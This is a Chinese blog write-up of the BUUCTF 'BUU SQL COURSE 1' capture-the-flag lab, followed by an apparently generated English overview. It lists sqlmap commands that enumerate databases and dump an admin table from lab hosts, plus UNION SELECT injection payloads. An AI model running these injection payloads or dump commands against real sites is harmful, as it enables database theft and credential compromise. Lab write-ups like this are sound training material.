BUUCTF刷题笔记—Basic—BUU SQL COURSE 1

使用sqlmap解题Basic—BUU SQL COURSE 1
打开页面,有登录和热点测试新闻1、2、3,开发者模式发现?id=1的参数模式,尝试使用sqlmap解题
在这里插入图片描述
在这里插入图片描述

windows环境sqlmap下载和安装参考:https://editor.youkuaiyun.com/md/?articleId=141284540
1.sqlmap下载:http://sqlmap.org/
解压sqlmapproject-sqlmap-1.8.8-0-g8b55644.zip到E:\softhome目录
2.目录修改为sqlmap
3.在E:\softhome\sqlmap打开cmd命令窗口,输入命令
python sqlmap.py -u http://ad3b72b4-56a0-4aba-86f1-00c232c0d053.node5.buuoj.cn:81/backend/content_detail.php?id=2
在这里插入图片描述
在这里插入图片描述

1.暴库
1.1.暴出所有库
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 --dbs
1.2.暴出当前所在库的表
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db

2.暴表
2.1.暴出所有数据表
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news --tables
2.2.暴出指定数据表的字段
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin --columns
2.3.暴出指定数据表的数据
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin -C id,password,username --dump

在这里插入图片描述
在这里插入图片描述
照着命令执行
在这里插入图片描述
登录admin/e5ede2976384652693e7c2d0a0ace014即可看到flag
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

### BUU SQL Course Materials Overview In the context of learning about SQL injection through practical exercises, several key points emerge regarding the structure and content covered within the BUU SQL COURSE materials. The course appears to focus on teaching participants how to identify vulnerabilities related to SQL injections in web applications and exploit them using both manual methods and automated tools like `sqlmap`. The initial stages involve understanding basic syntax that can be used for testing potential injection flaws. For instance, a simple yet effective method involves appending specific payloads to query parameters such as IDs in URLs[^1]. This allows learners to explore what happens when improper input validation is present. For more advanced exploration, students are encouraged not only to manually craft queries but also leverage powerful automation frameworks. Tools like `sqlmap` play an essential role here by automating much of this process once an injection point has been identified[^2]. An example payload demonstrates retrieving information schema data which includes database names via UNION SELECT statements combined with built-in MySQL functions like DATABASE()[^4]: ```sql /backend/content_detail.php?id=-1 union select database(), user() ``` Additionally, there exists guidance on dumping entire databases or tables after confirming successful exploitation techniques have been applied correctly. An illustrative command line usage shows setting up sqlmap against a target URL while specifying the desired action: ```bash python sqlmap -u "http://example.com/vulnerable_page" -D "news" --dump-all ``` Furthermore, some write-ups highlight nuances encountered during challenges where multiple columns might need consideration depending upon application behavior. In one case study provided, it was noted that three-column structures were involved requiring adjustments accordingly[^5]: ```sql id=-1 union select 1,fllllag from id-- ``` These examples collectively provide insight into various aspects addressed throughout these educational resources aimed at enhancing cybersecurity skills specifically around detecting and mitigating risks associated with poor coding practices leading to SQL Injection vulnerabilities.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值